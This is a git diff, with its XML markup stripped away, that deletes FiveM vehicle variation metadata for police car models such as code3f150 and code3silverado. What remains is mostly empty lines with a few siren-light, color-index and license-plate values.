-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3f150
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3silverado
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3bmw
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3harley
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3durango
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code316fpiu
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3f250
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code319silv
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carvariations.meta
deleted file mode 100644
index 3711f7617..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carvariations.meta
+++ /dev/null
@@ -1,8949 +0,0 @@
-
-
-
- -
- code318charg
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code314charg
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code3fpis
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
